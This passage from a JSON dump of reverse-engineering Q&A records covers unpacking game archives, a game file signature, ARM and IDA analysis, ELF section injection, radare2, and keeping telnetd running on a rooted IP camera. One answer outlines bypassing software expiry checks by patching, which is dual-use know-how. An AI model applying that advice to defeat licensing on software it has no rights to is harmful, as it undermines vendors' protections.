        "Body": "<p>The shown girder is made from plain stone concrete and four 25 mm diameter steel wires. \nIncluding the weight of steel wires, determine self weight of the girder if its length is 12.5 m.\nNeglect the volume of concrete displaced by steel wires</p>\n\n<p>My answer,\n area of concrete = ((150*1200)+ 4((200*100)+(0.5*100*150))-(4*pi*(12.5)^2))*(1\u00d710^-3)^2=70.44m^2</p>\n\n<p>area of steel = (4*pi*(12.5)^2))*(1\u00d710^-3)^2 = 1.963\u00d710^-3m^2</p>\n\n<p>W = [(70.44\u00d722.6)+(1.96\u00d710^-3\u00d777.3)] = 1.59\u00d710^3KN/m\n<a href=\"https://i.stack.imgur.com/toEbO.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/toEbO.jpg\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Area calculations & what about 12.5m?",
        "Tags": "|struct|math|",
        "Answer": "<p>This is not a question of reverse engineering, but anyway this is how you can  proceed. </p>\n\n<p>Divide the cross-section into 5 parts - 3 rectangles and 2 trapezoids.\n<a href=\"https://i.stack.imgur.com/wvVe1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wvVe1.png\" alt=\"enter image description here\"></a></p>\n\n<p>Area of rectangle and trapezoids can be calculated with their respective formulae. Multiply by the length (12.5m) to get the volume. The product of volume and density would give the mass.</p>\n\n<p>Similarly, you can calculate the mass for the 4 steel wires.</p>\n"
    },
    {
        "Id": "14764",
        "CreationDate": "2017-02-26T19:50:50.927",
        "Body": "<p>I have an old PC game called Air Strike 3D II. I wanted to extract music files but I couldn't figure out how to unpack the .apk file (NOT Android package). 7-zip can't open it. When I open the .apk file with IDA, it says (Unknown COFF machine) and it failed to disassemble it so it's not an assembly file.</p>\n\n<p>The headers always start with <code>0000803F 99990000</code>. There is a folder named <code>sounds</code> and it contains .wav files, <code>sounds/biglaser.wav</code>, <code>sounds/laser.wav</code> etc... recovering files with WinHex does not help because it is packed and compressed.</p>\n\n<p>I found a log file that says</p>\n\n<pre><code>---- Initializing file system ----\n\npak1.apk - 733 files\npak2.apk - 45 files\npak4.apk - 1 files\nF_Init: \n3 data files found.\n</code></pre>\n\n<p>I tried to disassemble the .exe file with IDA, but there is nothing useful because it is encrypted or obfuscated.</p>\n\n<p>Google doesn't give me solutions because it returns Android related results. I wish it could show results from 2008 and older.</p>\n\n<p>Here are the files if you want to take a look:\n<a href=\"https://drive.google.com/open?id=0B_6TXpxCnMc7TGVfOWlYWjVYXzQ\" rel=\"nofollow noreferrer\">https://drive.google.com/open?id=0B_6TXpxCnMc7TGVfOWlYWjVYXzQ</a></p>\n",
        "Title": "Unpack .apk file from a PC game (NOT Android related)",
        "Tags": "|unpacking|hex|",
        "Answer": "<p>Update: I've done a write up on the entire file format here: <a href=\"https://tkte.ch/articles/2017/02/27/air-strike-3d.html\" rel=\"nofollow noreferrer\">https://tkte.ch/articles/2017/02/27/air-strike-3d.html</a></p>\n<p>These files aren't compressed, so don't worry about that. Since all you want to do is extract those waves we can cheat (a lot) and ignore everything else. Lets do a naive check:</p>\n<pre><code>&gt; strings -n 4 pak2.apk | grep RIFF -c\n40\n\n&gt; strings -n 4 pak2.apk | grep WAVEfmt -c\n40\n</code></pre>\n<p>Well that's promising. Looks like we've got a bunch of <a href=\"https://en.wikipedia.org/wiki/WAV\" rel=\"nofollow noreferrer\">WAVs</a> encapsulated by <a href=\"https://en.wikipedia.org/wiki/Resource_Interchange_File_Format\" rel=\"nofollow noreferrer\">RIFFs</a> which is pretty common.</p>\n\n<pre><code>#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport struct\n\nRIFF_MAGIC = b'RIFF'\nRIFF_LENGTH = struct.Struct('&lt;I')\n\n\ndef main():\n    in_file = sys.argv[1]\n\n    # Since the files are tiny lets cheat again and just read the entire thing.\n    with open(in_file, 'rb') as fin:\n        in_file = fin.read()\n\n    offset = 0\n    count = 0\n    \n    # We're going to skim through the file looking for the start of a RIFF file.\n    while True:\n        start = in_file.find(RIFF_MAGIC, offset)\n        if start == -1:\n            # None left, so we're done with this .apk.\n            print('Extracted {0} files.'.format(count))\n            return\n\n        # Found one, so lets read the next 4 bytes which are the length of the RIFF file.\n        length = RIFF_LENGTH.unpack_from(in_file, start + 4)[0]\n        # The 8 comes from the 4 bytes for RIFF and the 4 bytes for the length\n        # itself, which aren't included in the length.\n        offset = start + 8 + length\n\n        # annnnd save it.\n        with open('wav_{0}.wav'.format(count), 'wb') as fout:\n            fout.write(in_file[start:offset])\n\n        count += 1\n\nif __name__ == '__main__':\n    sys.exit(main())\n</code></pre>\n<p>And give it a whirl...</p>\n<pre><code>&gt; python extract.py pak2.apk\nExtracted 40 files.\n</code></pre>\n<p>Open one of the WAV's in VLC and woohoo, sounds.</p>\n"
    },
    {
        "Id": "14766",
        "CreationDate": "2017-02-27T04:22:42.550",
        "Body": "<p>I'm looking to edit League of Legends's WAD files, but the developers of the game have recently decided to add a sort of hash to these files to check if their content is valid. Unfortunately, no one has been able to crack the code yet. I'm hoping someone might have at least an idea on what it could be.</p>\n\n<p>Here are a few files that I extracted (the ones in the \"old\" directory are older files that also have a hash that you can use for comparison):\n<a href=\"https://drive.google.com/file/d/0B5fV4q6wLg7bTUE2VHc5aW5Ca00\" rel=\"nofollow noreferrer\">https://drive.google.com/file/d/0B5fV4q6wLg7bTUE2VHc5aW5Ca00</a></p>\n\n<p>The unknown \"hash\" value is bytes 4 to 87 (84 bytes long). I looked at <a href=\"https://github.com/Pupix/lol-wad-parser\" rel=\"nofollow noreferrer\">this GitHub project</a> to get started, but the person that wrote the code does not seem to know what that header means either. What I also found odd about the header is that it seems to vary in length (the end is padded with a different amount of null values in some files). At first I thought they might be using a variant of SHA or another hashing algorithm, but I'm no longer sure if that is the case because of the varying length, and I am definitely not a hashing professional.</p>\n\n<p>If it helps, you can also download the \"Wooxy\" program, a League of Legends file extractor/editor program, to extract, edit, and update the game files yourself.</p>\n\n<p>Even if you don't know the exact answer, any bit of help is highly appreciated!</p>\n\n<p><strong>EDIT:</strong> This is what appears in the game's log when it attempts to load an edited WAD file:</p>\n\n<pre><code>000036.460|  ERROR| ?:0: attempt to call global 'GetHashedGameObjName' (a nil value)\n000037.499| ALWAYS| Begin Game Object Update\n000037.936| ALWAYS| WadFile mount: DATA/FINAL/Champions/Chogath.wad (FAILED)\n000037.937| ALWAYS| Riot::RADS::Reader::SignalSoftRepair: Wrote soft repair file to C:/Riot Games/League of Legends/RADS/solutions/lol_game_client_sln/releases/0.0.1.163/SOFT_REPAIR. This will cause the patcher to repair your installation.\n000037.937|  ERROR| Assertion failed!\n\nExpression: ALE-18967997\n\nDescription: FATAL ERROR - WadFile mount failed: Champions/Chogath.wad\n000039.411|  ERROR| Crash Occurred\n</code></pre>\n\n<p><strong>EDIT 2:</strong> There also seems to be an unknown value between bytes 88 and 95 (8 bytes long). Changing the bytes doesn't seem to crash the game, though.</p>\n\n<p><strong>EDIT 3:</strong> I found out that the header looks like it's separated into 2 parts. Byte 4 indicates the total length of the header (without <code>00</code> padding). Byte 8 indicates the length of the first \"chunk\". After that amount of bytes, there is a <code>02</code>, and the byte after that indicates the length of the second \"chunk\". After that second bit, there are <code>00</code>s until byte 87.</p>\n",
        "Title": "File Reverse Engineering \u2013 League of Legends WAD File Header Hash",
        "Tags": "|file-format|",
        "Answer": "<p>Turns out the header is actually a ECDSA public key and signature, so, according to what I've read, it's basically impossible to modify the file without re-signing it with the private key (which I do not have).</p>\n"
    },
    {
        "Id": "14767",
        "CreationDate": "2017-02-27T04:48:39.240",
        "Body": "<p>I'm trying to revers this section of code, but I don't get it fully.</p>\n\n<pre><code>loc_2F2E0\nVLDR            D19, =210.0\nMOVS            R1, #0\nVLDR            D18, =190.0\nMOVS            R0, #0\nVCMPE.F64       D17, D19\nVMRS            APSR_nzcv, FPSCR\nVCMPE.F64       D17, D18\nIT MI\nMOVMI           R1, #1\nVMRS            APSR_nzcv, FPSCR\nVCMPE.F64       D17, D19\nIT GT\nMOVGT           R0, #1\nVMRS            APSR_nzcv, FPSCR\nBNE             loc_2F348\n</code></pre>\n\n<p>As far as I can understand, what happens is:</p>\n\n<pre><code>D19 = 210.0;\nR1 = 0;\nD18 = 190.0;\nR0 = 0;\nif(D17 &lt; D19 &amp;&amp; D17 &gt;= D18){\n    R1 = 1;\n}\nif(D17 &gt; D19){\n    R0 = 1;\n}\nif(D17 != D19){\n    // goes to loc_2F348\n}\n</code></pre>\n\n<p>But I'm pretty sure I have made some mistakes on the <code>VCMPE</code> <code>IT MI</code> <code>IT GT</code> <code>MOVMI</code> and <code>MOVGT</code>, but I'm not sure.</p>\n",
        "Title": "Creating basic pseudocode from ARM ASM",
        "Tags": "|assembly|arm|",
        "Answer": "<p>For the flags to be visible by the IT block, they need to be moved to APSR.</p>\n\n<p>This means that the <code>IT MI</code> block will only have the flags from <code>VCMPE.F64  D17, D19</code>, and the <code>IT GT</code> block will only see the result of <code>VCMPE.F64  D17, D18</code></p>\n\n<pre><code>D19 = 210.0;\nR1 = 0;\nD18 = 190.0;\nR0 = 0;\nif(D17 &lt; D19) {\n    R1 = 1;\n}\nif(D17 &gt; D18) {\n    R0 = 1;\n}\nif(D17 != D19){\n    // goes to loc_2F348\n}\n</code></pre>\n"
    },
    {
        "Id": "14776",
        "CreationDate": "2017-02-28T10:35:29.043",
        "Body": "<p>I'm trying to reverse-engineer a function in <code>IDA Pro</code> that was originally identified by <code>IDA</code> as such (I was able to rename it into <code>Device_CreateCloseIoControl</code>):</p>\n\n<p><a href=\"https://i.stack.imgur.com/paD8S.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/paD8S.png\" alt=\"enter image description here\"></a></p>\n\n<p>but I know that this function was originally compiled as this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/GQhD1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/GQhD1.png\" alt=\"enter image description here\"></a></p>\n\n<p>where <code>DEVICE_OBJECT</code> and <code>IRP</code> structs are defined in <code>wdm.h</code> from <code>Windows Driver Kit</code>.</p>\n\n<p>So I'm curious, is there a way to rename this function to make <code>IDA</code> use those custom types? (Included in a specific header file.)</p>\n",
        "Title": "How to adjust function type/call parameters to custom structs in IDA Pro?",
        "Tags": "|ida|windows|debugging|binary-analysis|",
        "Answer": "<p>To do this you need to do the following:</p>\n\n<ol>\n<li>Define or import structures involved in function definition if not defined yet. You can add a structure via Structures window (View-->Open Subviews-->Structures, or <kbd>Shift-F9</kbd>) , import the header file via File-->Load file-->Parse C header file, or <kbd>Ctrl-F9</kbd> (this will also import typedefs if needed) or use a type library as described in <a href=\"https://reverseengineering.stackexchange.com/questions/13175/how-to-import-windows-ddk-headers-into-ida\">How to import Windows DDK headers into IDA?</a> .</li>\n<li>After that you should locate cursor at the function definition, press <kbd>Y</kbd> and enter C function prototype as it stated in the function definition.</li>\n</ol>\n\n<p>Good luck.</p>\n"
    },
    {
        "Id": "14779",
        "CreationDate": "2017-03-01T02:21:28.467",
        "Body": "<p>I am in Linux, and I have seen this question a few times but never, nobody answered how to really make this work.</p>\n\n<p>I need to add a section to an already compiled binary. Lets say for a moment is an <strong>ELF</strong> file. I'm using <strong>objcopy</strong> so this should be generic for any format because <strong>objcopy</strong> uses <strong>libbfd</strong> that handles many formats.</p>\n\n<p>My process is as follows.</p>\n\n<p>I create the bytecode for a section I want to append to an already compiled ELF file. Let's name this file bytecode.bin</p>\n\n<p>Then I do:</p>\n\n<pre><code>objcopy --add-section .mysection=bytecode.bin \\\n--set-section-flags .mysection=code,contents,alloc,load,readonly \\\nmyprogram myprogram_edited\n</code></pre>\n\n<p>Then I adjust the VMA of the secition:</p>\n\n<pre><code>objcopy --adjust-section-vma .mysection=$((16#XXXXX)) myprogram_edited myprogram_edited\n</code></pre>\n\n<p>Where XXXXXX is the new VMA address for the section.</p>\n\n<p>I get the warning:</p>\n\n<pre><code>objcopy: stIbZt3t: warning: allocated section `.mysection' not in segment\n</code></pre>\n\n<p>When I do:</p>\n\n<pre><code>objdump -d myprogram_edited\n</code></pre>\n\n<p>I see:</p>\n\n<pre><code>Disassembly of section .mysection:\n\n0000000000201011 &lt;.mysection&gt;:\n...\n...\n</code></pre>\n\n<p>So I see the section is created OK and the VMA adjusted. But the section is not mapped to segments, so it can't be loaded at runtime.</p>\n\n<p>How can I solve this?</p>\n\n<p>EDIT:</p>\n\n<p>I opted for using Intel's <a href=\"https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool\" rel=\"nofollow noreferrer\">PIN</a> tool. Very useful and powerful for RI and binary injection.</p>\n",
        "Title": "How to SUCCESSFULLY add a code section to an executable file in Linux?",
        "Tags": "|binary-analysis|linux|elf|executable|binary-format|",
        "Answer": "<p>I ended up using <a href=\"https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool\" rel=\"nofollow noreferrer\">Intel PIN</a></p>\n<p>Edit:\nI know this isn't actually an answer to the question. I was trying to change the behavior of a native executable and thought that I needed to change the binary on disk, when actually a binary instrumentation tool was enough for my purpuse.</p>\n"
    },
    {
        "Id": "14794",
        "CreationDate": "2017-03-02T18:10:35.103",
        "Body": "<p><strong>Problem :</strong> How can I debug an ELF file in MS Windows? is it possible?</p>\n\n<p><strong>Scenario :</strong></p>\n\n<p>I have an ELF file compiled to work on hardware with VXWorks 5.5 OS and SH4 CPU. IDA68 is able to disassemble the file and correctly detects SH4 instructions although looks like IDA is unable to debug it with its debugger(the debugger icon is grey), and without the ability to debug the assembly it is almost impossible to understand.</p>\n\n<p>Am I missing something here?</p>\n",
        "Title": "Is it possible to debug an ELF file with a Windows-based disassembler?",
        "Tags": "|ida|windows|debugging|elf|",
        "Answer": "<p>ELF files can be debugged using IDA debugger if you have the same CPU and OS that were used to build them, installed locally or have them in a remote machine.</p>\n\n<p>In case you don't, you're still able to debug the file but only if the compiler have debugging data in  <a href=\"https://en.m.wikipedia.org/wiki/DWARF\" rel=\"nofollow noreferrer\">DWARF</a> standard included in the file.</p>\n\n<p>Another option that SVS suggest me, is to set up an emulator with OS and Arctitecture you need trace the file over there which is a good practical way I believe.</p>\n\n<p>Not all ELF files have DWARF debugging data. Particularly, those that are not suppose to be reverse engineered.</p>\n"
    },
    {
        "Id": "14795",
        "CreationDate": "2017-03-02T18:52:51.217",
        "Body": "<p>I am working with IDA and I have the <code>OpenProcess</code> function receiving <code>dwDesireAccess</code> of <code>0x410</code>:   </p>\n\n<p><a href=\"https://i.stack.imgur.com/y0thX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/y0thX.png\" alt=\"enter image description here\"></a></p>\n\n<p>According to <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880(v=vs.85).aspx\" rel=\"nofollow noreferrer\">MSDN</a> we can see that <code>0x410</code> is the result of <code>OR</code> between two access rights:  </p>\n\n<pre><code>PROCESS_QUERY_INFORMATION (0x0400)\nPROCESS_VM_READ (0x0010)\n</code></pre>\n\n<p>How can I set a standard symbolic constant such as<br>\n<code>PROCESS_QUERY_INFORMATION | PROCESS_VM_READ</code> ?    </p>\n\n<p>I must do it manually (with \"Manual...\")?  </p>\n\n<p>This is only what I have:<br>\n<a href=\"https://i.stack.imgur.com/3aiqX.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3aiqX.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to add standard symbolic constants with bitwise operators (like ORs)",
        "Tags": "|ida|debugging-symbols|",
        "Answer": "<p>You could create a <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/500.shtml\" rel=\"noreferrer\">bitfield enum</a>. Since the enum containing <code>PROCESS_VM_READ</code> already exists in the MSSDK type library, we are going to copy that and modify it to become a bitfield.</p>\n\n<ol>\n<li><p>Go to the enums subview, then right click and <strong>Add enum...</strong> (press <kbd>Insert</kbd> on Windows).\n<img src=\"https://i.stack.imgur.com/XX7h8.png\" alt=\"enter image description here\"></p></li>\n<li><p>Click <strong>Add standard enum by symbol name</strong>.<br>\n<img src=\"https://i.stack.imgur.com/j3goo.png\" alt=\"enter image description here\"></p></li>\n<li><p>Find <code>PROCESS_VM_READ</code>, then click <strong>OK</strong>.<br>\n<img src=\"https://i.stack.imgur.com/I7Zvl.png\" alt=\"enter image description here\"></p></li>\n<li><p>A new enum called <code>MACRO_PROCESS</code> should be added. Expand it (<kbd>Ctrl</kbd><kbd>Numpad +</kbd> or right click \u2192 <strong>Unhide</strong>)</p></li>\n<li><p>Delete the enum member <code>PROCESS_ALL_ACCESS</code> (press <kbd>U</kbd> when selecting it).<br>\n<img src=\"https://i.stack.imgur.com/07xY0.png\" alt=\"enter image description here\"></p></li>\n<li><p>Right click and choose <strong>Edit enum...</strong> (<kbd>Ctrl</kbd><kbd>E</kbd>).</p></li>\n<li><p>Check <strong>Bitfield</strong>, then click <strong>OK</strong>. (This step will fail if you don't perform step 5)\n<img src=\"https://i.stack.imgur.com/Oplkv.png\" alt=\"enter image description here\"></p></li>\n</ol>\n\n<p>Now the MACRO_PROCESS bitfield should appear when you hit <kbd>M</kbd> on 410h, and should appear as something like</p>\n\n<pre><code>mov     eax, PROCESS_VM_READ or PROCESS_QUERY_INFORMATION\n</code></pre>\n"
    },
    {
        "Id": "14815",
        "CreationDate": "2017-03-03T20:17:38.597",
        "Body": "<p>I have undefined a block of code and I want to manually reconstruct this block by iterating over the area while decoding undefined bytes and calling <code>idc.MakeCode</code> for each instruction separately.</p>\n\n<p>I have disabled auto-analysis, but calling MakeCode on the head of the block causes the entire block to be converted to code. I can't find anything in IDA Python / IDC to do this that isn't a hook. Is there an analysis flag I need to set in order to prevent this behavior?</p>\n",
        "Title": "How can I call IDA Pro's MakeCode for one instruction at a time?",
        "Tags": "|ida|idapython|ida-plugin|idapro-sdk|",
        "Answer": "<p>NirIzr's answer has a major drawback: All those locations following the decoded instructions are still added to the analyzer queue, they're just not being processed. That means if you ever enable analysis again, IDA will go back and process them all, completely obliterating whatever your script did. </p>\n\n<p>A better solution is to go into \"Kernel options 1\" and uncheck \"Trace execution flow\" before running your script. That's the one responsible for adding an address immediately following a decoded instruction into the analysis queue, so this way those addresses won't be added to the queue in the first place. When your script is done, you can go back and check it again and continue using IDA with analysis enabled. </p>\n"
    },
    {
        "Id": "14816",
        "CreationDate": "2017-03-03T20:26:13.313",
        "Body": "<p>I am starting with reverse engineering/cracking with advanced knowledge about programming and functioning of the operating system and I saw a whole series of lena151 Lenas Reversing for Newbies but I have a problem I do not know how I should properly begin cracking windowed crackmes without using call stack and finding text strings. For example I have ollydbg and Pulsar Crackme (Level 0) (<a href=\"https://uloz.to/!CsZzoI6kT9zF/crackme-exe\" rel=\"nofollow noreferrer\">https://uloz.to/!CsZzoI6kT9zF/crackme-exe</a>) I have already cracked, and several other, (key is  PuL-sAr-001) but I crack him only because I accidentally found badboy/goodboy but it can not crack it using another method (in more complicated crackmes it is big problem). Is there any tutorial where this is explained ? And what method you use which may also be used in the analysis viruses ? </p>\n",
        "Title": "How to crack windowed crackmes?",
        "Tags": "|ollydbg|crackme|",
        "Answer": "<p>There are many ways to go about changing the behavior of programs. For example, if you have a program that checks for the date and time in order to decide if the product is expired, you could: a. change the system date and time to temporarily \"crack\" the program or b. patch the system call that checks for the date and time to return an acceptable value.</p>\n\n<p>You could also patch the kernel (which is probably unsuitable for a check like this, as it will affect the whole system) or simply find the check in the executable and change the code to jump it , or just remove it...</p>\n\n<p>What you're doing is trying to reverse engineer an application and change it to do what you want. This requires knowledge in general and specific areas, dependening on what kind of program you're trying to reverse engineer. </p>\n\n<p>Here's a few a practical leads on how you could achieve what you're trying to do:</p>\n\n<ol>\n<li>Use a tool like Regshot to compare changes in the registry</li>\n<li>Use a tool like Program monitor from SystemInternals to find out what the program is doing</li>\n<li>Place breakpoints on all suspect system calls</li>\n<li>With complex applications, once you find a starting point you may need to reverse engineer the assembly code to understand what it's doing</li>\n<li>You can use Radare2/ IDA to statically analyze (or actively debug) the program and rename methods until you reach an understanding of what must be done to achieve your goal.</li>\n</ol>\n\n<p>If you're interested in learning how to reverse engineer applications there are many books on this subject that you can look for and read.</p>\n\n<p>Here's a list of (some of the) things you'd need to know:</p>\n\n<ol>\n<li>Understand the OS you're working in</li>\n<li>Knowledge of (several) programming languages</li>\n<li>Understand the PE/ELF file formats (or any other format you'd want to reverse engineer)</li>\n<li>Understanding Assembly language</li>\n</ol>\n\n<p>Needless to say, reverse engineering may be illegal in your location, or on specific products (see EULA), so make sure that you're not doing anything that you are not allowed to do.</p>\n\n<p>Hope this helps</p>\n"
    },
    {
        "Id": "14823",
        "CreationDate": "2017-03-04T14:58:19.283",
        "Body": "<p>It sounds like a stupid question but I honestly can't find the answer... I've looked at <a href=\"https://radare.gitbooks.io/radare2book/content/\" rel=\"nofollow noreferrer\">https://radare.gitbooks.io/radare2book/content/</a> and googled for hours but it still eludes me.</p>\n\n<p>How do I modify the memory in radare2? I know if I want to modify a register value I can do:</p>\n\n<pre><code>dr eax = 0xA\n</code></pre>\n\n<p>But what about modifying a value in the stack or the heap at a specific address?</p>\n",
        "Title": "Editing memory in radare2",
        "Tags": "|disassembly|memory|radare2|",
        "Answer": "<p>To write the string &quot;foo&quot; into the memory address 0xdeadbeef:</p>\n<p><code>w foo @ 0xdeadbeef</code></p>\n<p>To write the hex 0x41414141 to the memory address 0xdeadbeef:</p>\n<p><code>w \\x41\\x41\\x41\\x41 @ 0xdeadbeef</code></p>\n<p>I recommend also taking a look at the various options for writing using the command <code>w?</code>.</p>\n"
    },
    {
        "Id": "14840",
        "CreationDate": "2017-03-07T03:52:59.120",
        "Body": "<p>I've got a root shell via UART serial connection to an IP Camera that I've been playing with. Similar device is seen here: <a href=\"https://www.exploitee.rs/index.php/Belkin_NetCam_HD%2B\" rel=\"nofollow noreferrer\">https://www.exploitee.rs/index.php/Belkin_NetCam_HD%2B</a></p>\n\n<p>It's got busybox with telnetd, so once I run telnetd, I can get into the box without my serial connection. However, once it restarts, any changed data on the filesystem is lost. (I tried adding telnetd to the /etc/init.d/ files, but after reboot that file is reverted to original.) </p>\n\n<p>My goal, ultimately, is to set this up so that I don't need to keep a serial connection. I'd like to have the telnet server run automatically at start up. Any ideas?</p>\n\n<p>Here is some output from serial at boot:</p>\n\n<pre><code>spl: start\nrtcbits_v2: initializing ...\nrtcbits: resetflag, 8@0\nrtcbits: holdbase, 24@8\nrtcbits: batterycap, 8@32\nrtcbits: retry_reboot, 8@40\nrtcbits: fastboot, 1@48\nrtcbits: forceshut, 1@49\nrtcbits: sleeping, 1@0\nspl: ----------------------------------------\nspl: devType:0x4\nspl: ----------------------------------------\nspl: bdevice_id:0x7\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nMMC: block number 0x8001 exceeds max(0x0)\nmagic do not match2. 0x7f31d8dc\nPCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846\nboard arch is set to: a5pv10\ncpu is imapx15\nrtcbits: get bits for resetflag: 0x00\nboot state(0)\n---------------bootst: 0\nspl: dramc---DDR V6.0: mDDR support 16:58:51\nspl: dramc---\ndramc init start\nspl: dramc---dram.type found in items, the value is mDDR\nspl: dramc---dram.freq found in items, its value is 200\nspl: dramc---memory.cl found in items, its value is 3\nspl: dramc---dram.count found in items, its value is 1\nspl: dramc---dram.width found in items, its value is 32\nspl: dramc---dram.capacity found in items, its value is 256\nspl: dramc---memory.driver not found in items, use its default value -481465940\nspl: dramc---memory.trfc found in items, its value is 64\nspl: dramc---memory.tras found in items, its value is 15\nspl: dramc---memory.highres not found in items, use its default value 0\nspl: dramc---dram.rank_sel 1, dram.count 0, dram.reduce_flag 0\nspl: dramc---count width capacity: 0, 3, 5, size 0x100\nspl: dramc---rcb: 14 10 2\nspl: dramc---ADDR_PHY_PGSR = 0xa\nspl: dramc---dramc init succeed and finished\nrballoc: 0x1000@0x87808000 allocated for bootstats\nrballoc: 0x1000@0x87809000 allocated for devType\nspl: dramc---dram.size not found in items, use default value 256\nrballoc: 0x1000@0x8780a000 allocated for dramsize\nrballoc: 0x1000@0x8780b000 allocated for bootxom\nspl: boot item exist: board.disk, flash\nPCLK: 134000000, PS: 2, SCR: 12, Fout: 5153846\nhash_data\ni: type (1)\ni: signature (0)\nrballoc: 0x4000@0x8780c000 allocated for itemrrtb\nspl: jump\nrballoc: 0x4000@0x\u25ca\n\nU-Boot 2009.08 (Jul 27 2016 - 16:58:07)\nShanghai InfoTM Microelectronics Co., Ltd.\n\nMemory type: DDRII 128 MB\nrballoc: 0x1000@0x87814000 allocated for rtcbits\nrtcbits_v2: initializing ...\nrtcbits: resetflag, 8@0\nrtcbits: holdbase, 24@8\nrtcbits: batterycap, 8@32\nrtcbits: retry_reboot, 8@40\nrtcbits: fastboot, 1@48\nrtcbits: forceshut, 1@49\nrtcbits: sleeping, 1@0\nrbget item_mem = 8780c000\nIR led is not opened \n$$$$$$$$$$$$$$$$$LED ON$$$$$$$$$$$$$$$$$$$$$$$$$\nboard arch is set to: a5pv10\ncpu is imapx15\nenv_relocate[228] offset = 0x0\n*** Warning - bad CRC or NAND, using default environment\n\nConsole devices(i/o/e): serial, serial, serial\nrtcbits: get bits for resetflag: 0x00\n---------------bootst: 0\nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\nHit any key to stop autoboot:  0 \nkeys.fastboot not exist\n display_logo screenDeviceType:1, burn_status:1, timest:1074\n display_logo no for begin, timest:1078\nrballoc: 0x1000@0x87815000 allocated for rclk\nrballoc: 0x1000@0x87816000 allocated for rfpsx1000\nrballoc: 0x1000@0x87817000 allocated for div2\nrballoc: shared owner (rclk) 0x1000@0x87815000\nrballoc: shared owner (rfpsx1000) 0x1000@0x87816000\nrballoc: shared owner (div2) 0x1000@0x87817000\nrballoc: 0x1000@0x87818000 allocated for ubootlogo\nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nassign device(mmc1) failed (-17)\ncmd1 intsts=0x104 err!\nCard did not respond to voltage select!\nassign device(mmc1) failed (-17)\nNo media_src for seperate images detected\nbatt_main() \nbatt_item_init() run \nPMU_NULL \nbatt_item.batt_v_start = 3450 \ncharger_pwron = 0, charger_enable = 0 \nPMU isn't AXP202, AXP202_MODE_NULL \nCPU IS IMAPX15 NEW V2.1\nbatt_item_init() end \nrtcbits: get bits for resetflag: 0x00\nbootst exist: 0\n---------------bootst: 0\npmu.model is exist, but not set the pmu supported\nonly for debug, or system error\nbegain infotm_check_recovery\nkeys.recovery not exist\nPCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333\nwarning: not spi boot\nxom=2\nboottype == 0\nbootl from NORMAL.\nfetch kernel0@0xa0000 ...\nPCLK: 134000000, PS: 2, SCR: 2, Fout: 22333333\nwarning: not spi boot\nxom=2\n3268ms\nline:248,bootl-&gt;board.disk item_equal flash,is spi\n BOOT CMD: bootm 80007fc0\n## Booting kernel from Legacy Image at 80007fc0 ...\n   Image Name:   Imogen-X860-I\n   Image Type:   ARM Linux Kernel Image (uncompressed)\n   Data Size:    8753448 Bytes =  8.3 MB\n   Load Address: 80008000\n   Entry Point:  80008000\n   Loading Kernel Image ... OK\nOK\n\nStarting kernel ...\n&lt;snip&gt;\n</code></pre>\n\n<p>I can't paste the entire kernel boot log here but I'll stick it on pastebin: <a href=\"http://pastebin.com/SurihSLL\" rel=\"nofollow noreferrer\">http://pastebin.com/SurihSLL</a></p>\n\n<p>Any thoughts on how I can make a permanent file system change?  Thanks!</p>\n\n<p><strong>UPDATED BELOW</strong></p>\n\n<pre><code># cat  /proc/mounts\nrootfs / rootfs rw,relatime 0 0\ndevtmpfs /dev devtmpfs rw,relatime,size=91180k,nr_inodes=22795,mode=755 0 0\nproc /proc proc rw,relatime 0 0\ndevpts /dev/pts devpts rw,relatime,gid=5,mode=620,ptmxmode=000 0 0\ntmpfs /dev/shm tmpfs rw,relatime,mode=777 0 0\ntmpfs /tmp tmpfs rw,relatime 0 0\ntmpfs /root tmpfs rw,relatime 0 0\nsysfs /sys sysfs rw,relatime 0 0\n/dev/mtdblock5 /mnt/config jffs2 rw,relatime 0 0\n</code></pre>\n\n<p>and..</p>\n\n<pre><code># cat /proc/mtd\ndev:    size   erasesize  name\nmtd0: 00080000 00010000 \"boot\"\nmtd1: 00010000 00010000 \"oem\"\nmtd2: 00010000 00010000 \"config\"\nmtd3: 00a00000 00010000 \"kernel0\"\nmtd4: 00a00000 00010000 \"kernel1\"\nmtd5: 00080000 00010000 \"jffs\"\nmtd6: 00ae0000 00010000 \"media\"\n</code></pre>\n\n<p>So to answer your question @w-s, yes /etc/init.d is writeable but it doesn't <em>persist</em> beyond reboot. :(</p>\n\n<p>Also.. it does use U-Boot. It even shows this (VERY briefly) at boot up: <code>Hit any key to stop autoboot:  0</code> (line 83 on pastebin above) but even when I repeatedly mash the <code>any key</code> on my keyboard, it doesn't seem to accept input. I've tried a number of times but same lack of success!</p>\n",
        "Title": "Got root on IP camera, but init.d overwritten at boot. How to start telnetd at launch?",
        "Tags": "|embedded|",
        "Answer": "<p>If you can write to the flash, you can try modifying the filesystem to insert necessary hooks there.</p>\n\n<p>Probably  the easiest way to do it is to take a firmware update and modify the embedded rootfs.</p>\n"
    },
    {
        "Id": "14841",
        "CreationDate": "2017-03-07T08:30:54.220",
        "Body": "<p>My goal is to modify some instructions and make some instrumentation in ELF executables or libraries(For example, modifying all memory writes instructions). Since there're so many instructions, I want to find them automatically and apply some modification. Are there any tools that I can leverage?</p>\n",
        "Title": "Are there any static binary rewriting tools\uff1f",
        "Tags": "|binary-analysis|static-analysis|instrumentation|",
